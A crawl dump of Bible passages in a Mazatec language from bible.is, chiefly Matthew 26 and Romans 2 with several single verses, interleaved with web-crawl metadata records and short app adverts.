24'A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, k'oa̱á s'ín ko̱mat'ian koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá. ¡Ta̱nga i̱ma̱ xó‑ne jè xi̱ta̱ xi si̱ìnga̱tsja‑na! Ìsa̱á‑là ndaà komà tsà mìkiì kits'iìn xi̱ta̱ jè. 25K'e̱é kiìchja̱ Judas, jè xi si̱ìnga̱tsja Jesús, kitsò: ―Maestro, ¿a 'a̱n‑ná? Jesús kitsò‑la̱: ―Jon, ngaji̱‑né. 26K'e̱ nga nchikjèn, Jesús kiskoé i̱nchra̱jín, kiìchja̱t'aà‑la̱ Nainá nga kisìchikon‑t'in, kisìxkoa̱ya i̱kjoàn kitsjaà‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱, kitsò‑la̱: ―Chjoé, ti̱chioò, yijo‑na̱ né. 27I̱kjoàn kiskoé jngoò chi̱tsín, kitsjaà‑la̱ kjo̱ndaà Nainá, k'e̱é kitsjaà‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱. Kitsò‑la̱: ―Ngats'ioò, t'io̱o jè xi tjíya chi̱tsín. 28Jè‑né xi jní‑na̱ xi síkixi̱ya kjoa̱ xi̱tse̱ xi bìndaàjiìn‑ko̱‑nò. Jè jní‑na̱ xíxteèn xi kjo̱ndaà ts'e̱ kjìn xi̱ta̱ mé‑ne nga jcha̱t'aà‑la̱ jé‑la̱. 29K'oa̱á xán‑nò, mì ti̱ kiì ski̱‑na vino skanda jè na̱chrjein k'e̱ nga ski̱ko̱ ìjngoò k'a‑nò vino xi̱tse̱ jè na̱chrjein k'e̱ nga ko̱tìxoma Na̱'èn‑na. 30K'e̱ nga jye kiseè jngoò‑la̱ sò Nainá ts'e̱ Salmo, i̱kjoàn kiì ján i̱'a nindoò Yá Olivo. 31Jesús kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Ngats'ioò jñò, ni̱tje̱n jè, ki̱jneí takòn‑ná, nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Ki̱yá jè paxtò koa̱ jñà orrè tsjohoya‑né.\" 32Ta̱nga ko̱ma i̱skan, k'e̱ nga kjoa̱áya‑na, kjín ítjòn‑nò ján nangui Galilea. 33Kitsò Pedro: ―Na̱s'ín ngats'iì xi̱ta̱‑lè xi i'nga tsjín takòn‑lè, 'a̱n, ni̱mé na̱chrjein‑ne nga tsjiìn takòn‑lè. 34K'e̱é kitsò‑la̱ Jesús: ―O̱kixi̱í xi xan‑lè, ni̱tje̱n jè, k'e̱ nga ti̱kj'eè kjindáya kóxtí, ngaji̱, jàn k'a tsjá'mat'in‑ná. 35Pedro kitsò: ―Na̱s'ín skanda ya̱ ki̱yáko̱‑lè mìkiì kójna̱'mat'in‑lè. Ngásòn kitsò ngats'iì xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús. 36K'e̱é kiì Jesús ya̱ ñánda 'mì Getsemaní ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱. Kitsò‑la̱: ―Ti̱tsa̱jna i̱jndé. 'A̱n, ya̱ kò‑là kjián nga kichjàt'aà‑la̱ Nainá. 37Jesús kiìko̱ Pedro ko̱ ingajò i̱xti‑la̱ Zebedeo. I̱kjoàn tsibíts'ia̱ nga kjòba‑la̱ koa̱ kisìkájno ini̱ma̱‑la̱. 38K'e̱é kitsò Jesús: ―Tsí baá ma‑la̱ ini̱ma̱‑na̱ koni tsí mejèn ki̱yá. Ti̱tsa̱jna i̱jndé koa̱ titsa̱jnakon‑ko̱‑ná. 39Jesús kiìkjá chiba‑ìsa. I̱kjoàn tsohojna tsakjàn skanda i̱t'aà nangui koa̱ kisìjét'aà‑la̱ Nainá, kitsò: ―Ji̱ xi Na̱'èn‑na̱ xan‑lè, tsà ko̱ma, kàtatjaàxìn‑ná kjo̱'in koi, ta̱nga mìtsà jè 'én ts'a̱n ki̱tasòn, jè kàtitasòn 'én tsi̱ji. 40I̱kjoàn j'iì ìjngoò k'a‑ne ya̱ ñánda títsa̱jna xi̱ta̱‑la̱ xi kota'yàt'aà‑la̱, ta̱nga jñà xi̱ta̱‑la̱, kjiyijòfè‑né. Jesús kitsò‑la̱ Pedro: ―¿A mì kachíkjoa̱‑nò tsà tà jngoò hora kòbìtsa̱jnakon ko̱‑ná? 41Titsa̱jnakoòn koa̱ tìtsi'ba‑là Nainá mé‑ne nga mì si̱ìkijne‑nò kjoa̱ ts'e̱ jé. Xi o̱kixi̱, jé ini̱ma̱‑nò tíjnandaà‑né ta̱nga jè yijo‑nò xi tsjìn‑la̱ nga'ñó. 42Xi ma‑ne jò k'a kiì ìjngoò k'a Jesús nga kiì kítsi'ba. Kitsò: ―Ji̱ xi Na̱'èn‑na̱ xan‑lè, tsà mìkiì ko̱ma tjáxìn‑na kjo̱'in koi, ko̱s'ín kàtitasòn koni s'ín mejèn‑lè. 43K'e̱ nga j'iì ìjngoò k'a‑ne, jñà xi̱ta̱ xi kota'yàt'aà‑la̱, tákó kjiyijòfè‑né nga 'ñó nijñá‑la̱. 44Komà jàn k'a nga kiì kítsi'ba. Ya̱á kisìkítsa̱jna xi̱ta̱ xi kota'yàt'aà‑la̱. Tákó k'oa̱á ti̱ kitsò nga tsibítsi'ba. 45J'iì ìjngoò k'a‑ne ya̱ ñánda títsa̱jna xi̱ta̱ xi kota'yàt'aà‑la̱. Kitsò‑la̱: ―¿A tákó titsa̱nìkjáya‑nò ko̱ titsa̱fè‑nò? Jyeé ijchò hora‑la̱, 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ya̱á ko̱nga̱tsja jñà xi̱ta̱ jé. 46Ti̱sítje̱en, chítsejèn‑là, tíkjiaán, jyeé nchrobá chrañà jè xi si̱ìnga̱tsja‑na. 47Tákó ti̱k'e̱é tíchja̱‑ìsa Jesús nga ijchò Judas xi ya̱ itjojiìn ts'e̱ xi̱ta̱‑la̱ Jesús xi tejò ma‑ne. Kjìn xi̱ta̱ tji̱ko̱ xi 'ya ki̱cha̱ ndojò ko̱ yá. Jñà kisìkasén xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ jchínga xi ts'e̱ xi̱ta̱ judío. 48Judas, jè xi tsatíjna Jesús, ítjòn tsibéno̱jmí‑la̱ kós'ín ko̱kò‑la̱ Jesús. Kitsò‑la̱: ―Jè xi skíne̱'a, jè‑né xi ti̱ndo̱ba̱'ñó. 49Ni̱to̱ón kiì kasìt'aà chrañà‑la̱ Jesús. Kitsò‑la̱: ―Ndaà‑lè Maestro. I̱kjoàn kiskine'a. 50Jesús kitsò‑la̱: ―Amigo, ¿mé xá kjoi̱‑ne? Jñà xi̱ta̱ xi tji̱ko̱ Judas, ni̱to̱ón kitsobà'ñó Jesús. 51Jngoò xi̱ta̱ xi ti̱koa̱ ya̱ tsóhoko̱ Jesús, tsachrje ki̱cha̱ ndojò‑la̱. Tsajá‑la̱ jè xi̱ta̱ chi̱'nda‑la̱ no̱'miì ítjòn; tsatet'aà líká‑la̱. 52Jesús kitsò: ―Ti̱kájnatjoì ki̱cha̱ ndojò‑lè ya̱ i̱'nde‑la̱; jñà xi ki̱cha̱ ska̱àn‑ne nga si̱ìk'en xíkjín, ngásòn ki̱cha̱ ki̱yá ngajo‑ne. 53¿A mì 'ya‑jèn tsà 'a̱n si̱jé‑la̱ Na̱'èn‑na̱, tsatoó tejò jmiì àkja̱le̱ ni̱to̱ón si̱ìkasén‑na? 54Ta̱nga tsà k'oa̱s'ín si̱jé, mìkiì ki̱tasòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga mochjeén‑né nga k'oa̱s'ín ko̱ma. 55Jesús kitsò‑la̱ jñà xi̱ta̱ xi kjìn ma‑ne: ―¿Mé‑ne ko̱s'ín kòf'iì ndobà'ñó‑ná nga ko̱ ki̱cha̱ ko̱ yá kich'à koni tsà jngoò xi̱ta̱ chijé? Na̱chrjein nchijòn tìjna̱ko̱‑nò ján i̱ngo̱ ítjòn nga okoòya‑nò ko̱ mìkiì kindobà'ñó‑ná. 56K'oi̱í kjoa̱‑la̱ o̱ko̱ma‑ne nga ki̱tasòn 'én xi tjít'aà xo̱jo̱n‑la̱ jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. Ti̱k'e̱é‑né ngats'iì xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús tsanga ko̱ kitsjeiìn takòn. 57Jñà xi̱ta̱ xi kitsobà'ñó Jesús kiìko̱ ñánda tíjna Caifás xi no̱'miì ítjòn. Ya̱á títsa̱jna xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ xi̱ta̱ jchínga‑la̱ xi̱ta̱ judío. 58Jè Pedro, tà kjiìn tà kjiìn tsajmeètji̱ngui‑la̱ skanda ijchò ndi̱tsin ni'ya‑la̱ no̱'miì ítjòn. Jahas'en ni'ya. Ya̱á tsibìjnat'aà‑la̱ ñánda títsa̱jna xi̱ta̱ xi síkinda̱ ni'ya i̱ngo̱ nga mejèn‑la̱ skoe̱ kós'ín ko̱ma nga kjoe̱het'aà kjoa̱. 59Jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ jchínga, ngats'iì xi̱ta̱ xi tjín‑la̱ xá ts'e̱ xi̱ta̱ judío, tsohótsji'nde‑la̱ nga tsját'in 'én xi kondra̱ ts'e̱ Jesús mé‑ne nga ko̱ma si̱ìnga̱tsja‑ne xi̱ta̱ Roma nga si̱ìk'en Jesús. 60Ta̱nga ni̱mé 'én kisakò‑la̱ na̱s'ín ijchò xi̱ta̱ ndiso xi kondra̱ ts'e̱. Xi komà i̱skan ijchò jò xi̱ta̱ ndiso 61xi kitsò: ―Xi̱ta̱ jè kitsò‑né: \"'A̱n, ko̱ma‑na nga sìhixòña i̱ngo̱ ítjòn‑la̱ Nainá koa̱ jàn na̱chrjein kìndàyà ìjngoò k'a‑na.\" 62K'e̱é tsasìjna kixi̱ jè no̱'miì ítjòn. Kitsò‑la̱ Jesús: ―¿A nìmé 'én nokjoì, koni tsò 'én xi tsjá xi̱ta̱ koi xi kondra̱ tsi̱ji? 63Jesús mìkiì kiìchja̱. Jè no̱'miì ítjòn kitsò‑la̱: ―Tèno̱jmí kixi̱ nga nguixko̱n Nainá xi tíjnakon. Ko̱t'ìn‑náje̱n. ¿A ngaji̱‑né xi Cristo [xi̱ta̱ xi xó kisìkasén‑lè Nainá] nga Ki'ndí‑la̱ mai? 64Jesús kitsò‑la̱: ―Ngaji̱í xi k'oa̱ si nga 'a̱n‑ná. Ti̱koa̱, k'oa̱á xán‑nò, jñò jcha̱‑ná xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ nga kóti̱jnat'aà kixi̱‑la̱ ñánda tíjna Nainá xi 'ñó tse nga'ñó tjín‑la̱. Ti̱koa̱á jcha̱‑ná k'e̱ nga kji̱nchrobàjñaà i̱jiìn ifi xi ts'e̱ ngajmiì. 65Jè no̱'miì ítjòn tsatijndajno yijo‑la̱ nikje‑la̱ xi íkjá nga 'ñó kòjti‑la̱, kitsò: ―Xi̱ta̱ jè, jyeé kà'yaà nga chja̱jno‑la̱ Nainá koni tsò 'én xi chja̱. ¿Mé s'e̱én‑ìsa̱‑ná xi̱ta̱ xi kj'ei̱í xi tsjá 'én? Jñá, jyeé kàna'yà‑lá koni s'ín chja̱jno‑la̱ Nainá. 66¿Jñò, kó bixón, mé xi si̱koa̱á? Ngats'iì xi̱ta̱ kitsò: ―Tjín‑la̱ jé, ok'ín‑la̱ nga si̱k'en. 67I̱kjoàn tsibíchrá'a ko̱ tsi'beé‑la̱. Koa̱ tjín xi i̱sén‑la̱ tsi'beé'a, 68kitsò‑la̱: ―Ji̱ Cristo [xi xó kisìkasén‑lè Nainá], ko̱t'ìn‑náje̱n, ¿yá xi tí'beé‑lè? 69Jè Pedro k'e̱ nga tíjna ndi̱tsin ni'ya, ijchòkon jngoò chjo̱ón chi̱'nda xi kitsò‑la̱: ―Ti̱koa̱á ngaji̱, ya̱á tjaàkoi̱i Jesús xi Galilea i̱'nde‑la̱. 70Ta̱nga jè Pedro tsoho'mat'in‑né nga nguixko̱n ngats'iì xi̱ta̱. Kitsò: ―Mìkiì be mé 'én xi tinokjoì. 71Jè Pedro jyeé tíbitjo xotjoa̱ ni'ya k'e̱ kijtseè ìjngoò chjo̱ón xi k'oa̱ ti kitsò‑la̱ jñà xi̱ta̱ xi ya̱ títsa̱jna. Kitsò: ―Xi̱ta̱ jè, ti̱koa̱á ya̱ tsóhoko̱ Jesús xi Nazaret ts'e̱. 72Pedro ìjngoò k'a tsoho'mat'in. Kitsò: ―¡Tíbeè Nainá, mìkiì bexkoan xi̱ta̱ jè! 73Nga komà i̱skan jñà xi̱ta̱ xi ya̱ títsa̱jna ijchòkon ñánda tíjna Pedro. Kitsò‑la̱: ―O̱kixi̱‑né, ti̱koa̱á ngaji̱ xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús‑né. 'Yaà‑lè; k'oa̱á ti̱s'ín nokjoì. 74K'e̱é ìsa̱ 'ñó kiìchja̱ Pedro kitsò: ―¡Beè Nainá, na̱s'ín ti̱k'eèn‑ná, mìkiì bexkoan xi̱ta̱ jè! Ti̱k'e̱‑ne kiskindàya jngoò kóxtí. 75K'e̱é tsibítsjeèn‑la̱ Pedro koni kitsò‑la̱ Jesús: \"K'e̱ ti̱kj'eè kjindáya kóxtí, ngaji̱, jàn k'a tsjá'mat'in‑ná.\" K'e̱é itjo ni'ya Pedro, jàn ndi̱tsiaán; ndaà jchán kiskindàya.\nSan Mateo 26","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/26","date":"2013-12-09T11:40:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163966854\/warc\/CC-MAIN-20131204133246-00077-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000065565109253}","num_words":1509,"character_repetition_ratio":0.084,"word_repetition_ratio":0.003,"special_characters_ratio":0.241,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"17Jè Nainá ra ngásòn ngáya ko̱'sín bíndajín‑la̱ jé‑la̱ xi̱ta̱ koni 'sín tjín kjoa̱ ra 'sín nga jngó jngó xi̱ta̱, tsa Na̱'ìn 'mì‑la jiòn 'kia̱ nga nakjoá'ta‑la, machjeén‑ní nga ti̱skón‑cha ra jè nga'tsì ni̱chjin ra ki̱tsa̱kon i̱ a̱'ta nangi ñánda̱ nga mì tsa i̱ i̱'nde‑no.\n1 Pedro 1:17\nFREE!\nOne App.\n1348 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/1\/17","date":"2014-03-11T01:56:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011085177\/warc\/CC-MAIN-20140305091805-00044-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1K'oa̱á ma‑ne, ngaji̱, ni̱ta̱ yá xi̱ta̱‑ne ji̱, nga jé onè‑la̱ xingui̱i, mìkiì ko̱ma ko̱si̱koi̱i yijo‑lè nga nguixko̱n Nainá. K'e̱ nga jé tìbìnè‑la̱ xi̱ta̱ xingui̱i, ti̱koa̱á ngaji̱, ti̱ji tìbìnè‑la̱ jé yijo‑lè nga k'oa̱ ti̱s'ín 'nì. 2Ta̱nga 'ya‑ná nga kixi̱ s'ín Nainá k'e̱ nga tsjá‑la̱ kjo̱'in jñà xi̱ta̱ xi koa̱ tjín jé xi ótsji. 3Ngaji̱ xi kjo̱'in bìnè‑la̱ xi̱ta̱ xi kj'ei̱í, ¿mé‑ne koa̱ s'ín nìkítsjeèn‑ne nga jcha̱t'aà‑lè kjo̱'in xi tsjá Nainá? Nga ji̱ k'oa̱á ti̱s'ín 'nì. 4¿A mì tíjiìn‑lè nga nachrjekàngui jè kjo̱ndaà‑la̱ Nainá nga tjín‑la̱ kjo̱jetakòn koa̱ tjín‑la̱ kjoa̱tsejta? ¿A mì tíjiìn‑lè nga jè kjo̱ndaà‑la̱ Nainá tíkoña‑né nga si̱kájnoi jé‑lè nga mì ti̱ jé ki̱nchátsji‑ne? 5Nga tájaàjiìn tjín ini̱ma̱‑lè nga mìkiì nìkájnoi jé‑lè, ìsa̱á tse kjo̱'in tìbìnè‑la̱ yijo‑lè xi tsjá‑lè Nainá jè na̱chrjein k'e̱ nga kjoi̱íko̱ kjoa̱jti‑la̱ nga jcha̱‑la̱ kós'ín kixi̱ koi̱ìndaàjiìn Nainá nga tsjá‑la̱ kjo̱'in jñà xi̱ta̱. 6Nainá tsjá‑la̱ chjí‑la̱ mé kjoa̱ xi kis'iìn nga jngoò ìjngoò xi̱ta̱. 7Tsjá‑la̱ kjoa̱binachon ni̱ta̱ mé na̱chrjein‑ne jñà xi̱ta̱ xi nchihótsji kjoa̱jeya, ko̱ nchihótsji nga jcha̱xkón, ko̱ nchihótsji nga kítsa̱jnakon ni̱ta̱ mé na̱chrjein‑ne ján ngajmiì. Koií kjoa̱‑la̱ nga ndaà tjín kjoa̱ xi nchis'ín nga kjit'aà na̱chrjein. 8Ta̱nga Nainá nga ko̱ kjoa̱jti‑la̱ tsjá‑la̱ kjo̱'in jñà xi̱ta̱ xi kondra̱ fì‑la̱ nga mìkiì 'nchréñijon xi kjoa̱ kixi̱. Tà kjoa̱ nchi̱kón fìtji̱ngui‑la̱. 9Tseé kjoa̱ s'e̱‑la̱ ko̱ tseé kjo̱'in s'e̱‑la̱ ngats'iì xi̱ta̱ xi ch'o s'ín, mats'ia̱ko̱ ítjòn‑ne jñà xi̱ta̱ judío, ti̱koa̱á ko̱ xi ta̱xki̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío. 10Ta̱nga jñà xi̱ta̱ xi ndaà s'ín, tjoé‑la̱ kjoa̱jeya, ndaà jcha̱xkón, ti̱koa̱á s'e̱é‑la̱ kjoa̱'nchán ini̱ma̱‑la̱, mats'ia̱ko̱ ítjòn‑ne jñà xi̱ta̱ judío, ti̱koa̱á ko̱ xi ta̱xki̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío. 11Nainá mìkiì faájiìn ni̱ta̱ yá xi̱ta̱‑ne, tà ngásòn fìko̱ yije. 12Ngats'iì jñà xi̱ta̱ xi mìkiì tíjiìn‑la̱ kó tsò kjo̱tíxoma xi kiskiì Moisés, k'e̱ nga jé ótsji, chi̱ja‑né na̱s'ín mìkiì kijtseè kjo̱tíxoma‑la̱ Moisés. Koa̱ jñà xi̱ta̱ xi ndaà tíjiìn‑la̱ kjo̱tíxoma‑la̱ Moisés, k'e̱ nga jé ótsji, k'oa̱á s'ín ko̱jtso koni s'ín tíchja̱ xi ti̱jè‑ne kjo̱tíxoma. 13Jñà xi̱ta̱ xi tà 'nchré‑la̱ kjo̱tíxoma xi kiskiì Moisés, mìtsà jñà xi xi̱ta̱ kixi̱ nga nguixko̱n Nainá. Jñà‑né xi xi̱ta̱ kixi̱ xi síkitasòn. 14K'e̱ nga jñà xi ta̱xki̱ xi̱ta̱ xi mìkiì tíjiìn‑la̱ kós'ín tíchja̱ kjo̱tíxoma‑la̱ Moisés, sà k'oa̱á tà ya̱á nchrobájiìn ini̱ma̱‑la̱ nga k'oa̱s'ín s'ín koni tsò kjo̱tíxoma‑la̱ Moisés, ya̱á 'ya‑la̱ nga ti̱koa̱ tjíjiìn ini̱ma̱‑la̱ kjo̱tíxoma xi ts'e̱ na̱s'ín tsjìn‑la̱ ts'e̱ Moisés. 15K'e̱ nga ndaà s'ín ya̱á 'ya‑la̱ nga tíjiìn ini̱ma̱‑la̱ kjoa̱ xi síjé kjo̱tíxoma‑la̱ Moisés; jè ini̱ma̱‑la̱ okó kjoa̱ xi ndaà tjín ko̱ xi mìkiì ndaà tjín; ti̱jè‑ne kjo̱hítsjeèn‑la̱ sà k'oa̱á óngui ko̱ sà k'oa̱á osìko̱. 16K'oa̱á s'ín ko̱ma jè na̱chrjein k'e̱ nga Nainá koi̱ìndaàjiìn ngats'iì jé xi tjí'ma‑la̱ xi̱ta̱ i̱jiìn ini̱ma̱‑la̱; i̱t'aà ts'e̱ Jesucristo si̱ndaàjiìn, koni tsò 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi 'a̱n chjàya. 17Ngaji̱ xi xi̱ta̱ judío 'mì‑lè; jè ma'ñót'aà takoìn kjo̱tíxoma xi kiskiì Moisés; 'ngaá ma takoìn i̱t'aà ts'e̱ Nainá nga si tsi̱ji‑né; 18'ya‑né mé xi mejèn‑la̱ Nainá nga si̱kitasoìn; ma‑lè chjaàjiìn mé kjoa̱ xi nguì ndaà tjín koni s'ín okóya‑lè Kjo̱tíxoma; 19k'oa̱á s'ín nìkítsjiìn nga tíjngoò takoìn nga ji̱ okoò‑la̱ ndi̱yá kixi̱ xi̱ta̱ xi mìkiì machi̱ya‑la̱ nga tíchjoà xko̱n ko̱ k'oa̱á ma‑lè nga ji̱ nìhiseèn‑la̱ xi tjíjñò kjo̱hítsjeèn‑la̱. 20Ji̱, k'oa̱á s'ín nìkítsjiìn nga ma‑lè okoòya‑la̱ xi ta̱xki̱ xi̱ta̱ xi tsjìn‑la̱ kjo̱hítsjeèn; nga maestro 'mì‑lè ts'e̱ xi̱ta̱ xi chiba ma‑la̱ i̱t'aà ts'e̱ Nainá; nga tjín‑lè kjoa̱ chji̱ne̱ ko̱ kjoa̱ kixi̱ xi okó‑lè i̱t'aà ts'e̱ Kjo̱tíxoma. 21Ji̱ xi ma‑lè okoòya‑la̱ xi̱ta̱ xi kj'ei̱í, ¿mé‑ne mìkiì okoòya‑la̱ xi ti̱ yijo tsi̱ji‑ne? Ji̱ k'oa̱á s'ín nokjoàyi nga mìkiì ma si̱chijé; ji̱, ¿mé‑ne nìchijé‑ne? 22Ji̱, k'oa̱á si nga mìkiì ndaà tjín nga kjoa̱ chijngui s'i̱in xi̱ta̱; ji̱, ¿mé‑ne nga k'oa̱ ti̱s'ín 'nè‑ne? Ji̱, k'oa̱á si nga jtichiì xkósòn; ¿mé‑ne nga i̱ngo̱ bitjaàs'en‑ne nga nìchijí tsojmì‑la̱ xkósòn? 23Ji̱, 'ngaá takoìn nga ndaà tíjiìn‑lè kjoa̱ ts'e̱ kjo̱tíxoma ta̱nga, ¿a mìtsà tìnachrjekàngui Nainá nga mìkiì nìkitasòn‑la̱ koni s'ín tíchja̱ kjo̱tíxoma? 24K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Kjoa̱ tsa̱jòn‑nò xi xi̱ta̱ judío 'mì‑nò nga chja̱jno‑la̱ Nainá jñà xi ta̱xki̱ xi̱ta̱.\" 25Tsà ndaà si̱kitasoìn kjo̱tíxoma xi kiskiì Moisés, jè kjoa̱ ts'e̱ circuncisión nga tjít'aà chi̱ba̱‑lè, chjí‑la̱‑né; ta̱nga tsà mìkiì si̱kitasoìn, k'oa̱á ngaya‑la̱ koni tsà mìkiì tjít'aà chi̱ba̱‑lè. 26Jñà xi mìtsà xi̱ta̱ judío, na̱s'ín mìkiì tjít'aà chi̱ba̱‑la̱ koni xi̱ta̱ judío, ta̱nga tsà kixi̱ síkitasòn kjo̱tíxoma ts'e̱ Moisés, Nainá skoétjò‑né koni tsà tjít'aà chi̱ba̱‑la̱. 27Jñà xi̱ta̱ xi síkitasòn kjo̱tíxoma ts'e̱ Moisés, na̱s'ín mìkiì tjít'aà chi̱ba̱‑la̱ yijo‑la̱, jñà koi̱ìndaàjiìn‑nò nga mìkiì nìkitasòn na̱s'ín tjít'aà chi̱ba̱‑nò, na̱s'ín tjín‑nò xo̱jo̱n ts'e̱ kjo̱tíxoma‑la̱ Nainá. 28Jngoò xi xi̱ta̱ judío, mìtsà tà jè nga ndaà 'ya‑la̱ kjoa̱ xi s'ín; koa̱ jngoò xi̱ta̱ xi tjít'aà chi̱ba̱‑la̱ kjoa̱ ts'e̱ circuncisión, mìtsà tà jè xi mochjeén nga tjít'aà chi̱ba̱‑la̱ i̱sò'nga yijo‑la̱. 29Jè xi nguì xi̱ta̱ judío, jè xi chjí‑la̱ koni s'ín tjín i̱jiìn ini̱ma̱‑la̱. Ko̱ jè xi nguì tjít'aà chi̱ba̱‑la̱, jè xi chjí‑la̱ koni s'ín tjít'aà chi̱ba̱‑la̱ ya̱ i̱jiìn ini̱ma̱‑la̱. Kjoa̱ koi, mìtsà ts'e̱ kjo̱tíxoma xi xo̱jo̱n tjít'aà; ts'e̱é Ini̱ma̱ Tsjeè‑la̱ Nainá. Jñà xi k'oa̱s'ín síkitasòn, Nainá ndaà chja̱ xi i̱t'aà ts'e̱, na̱s'ín mìkiì ndaà chja̱ xi̱ta̱ xi kj'ei̱í.\nRomanos 2","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/2","date":"2014-03-12T15:08:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021889832\/warc\/CC-MAIN-20140305121809-00041-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":809,"character_repetition_ratio":0.091,"word_repetition_ratio":0.013,"special_characters_ratio":0.225,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"8Jngo xi̱ta̱ ra tsjake jñà xi̱ta̱ ra kj'ií, 'koa̱á 'sín 'ki ko̱ma ki'ta. Tanga ki̱jchó ni̱chjin nga mì ti̱ yá ra 'se̱‑ni ra ki̱chja̱ ngajo‑la̱ Nainá, nga mì ti̱ yá ra ki̱chja̱‑ni 'én ra kj'ií tsò, ti̱'koa̱á mì ti̱ yá ra tjábé‑la̱ kjo̱bítsjen ra tjí'ma‑la̱ Nainá.\n1 Corintios 13:8\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/13\/8","date":"2014-03-14T14:12:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678693350\/warc\/CC-MAIN-20140313024453-00068-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 0.9999974966049194}","num_words":51,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.277,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2Tsa maá‑na nga nda chjà ngajo‑la̱ Nainá ko̱ tsa ndaá fìya ijye‑na kó'sín tjín nga'tsì kjoa̱ ra jè Nainá tjí'ma‑la̱, tsa 'ñó tjín‑na ra 'mì kjoa̱chji̱ne̱, ko̱ tsa ti̱'koa̱á 'ñó nda makjiín‑na a̱'ta 'tse̱ Nainá nga skanda maá‑na sijtíya‑la̱ jñà nindo; tanga tsa mì tsjake̱‑naa̱ xi̱ta̱ ra kj'ií, ni̱ ta mé‑la chjí‑ina.\n1 Corintios 13:2\nFREE!\nOne App.\n1348 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/13\/2","date":"2014-03-11T05:34:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011131391\/warc\/CC-MAIN-20140305091851-00062-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999966621,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 0.9999966621398926}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.269,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"13Koií kjo̱'in tjoé ngajo‑la̱ koni tjín kjo̱'in xi kitsjaà‑la̱ xi̱ta̱ xi kj'ei̱í. Jñà xi̱ta̱ koi, na̱s'ín na̱chrjein, tsjaá ma‑la̱ nga s'ín kjoa̱ xi 'ñó ch'o tjín. K'e̱ nga jñà xi̱ta̱ koi, báhijtako̱‑nò tsà s'eí tjín‑nò, síkits'ón‑jiìn‑né nga sísobà‑nò nga ch'o tjín kjoa̱ xi s'ín.\n2 Pedro 2:13\nFREE!\nOne App.\n1348 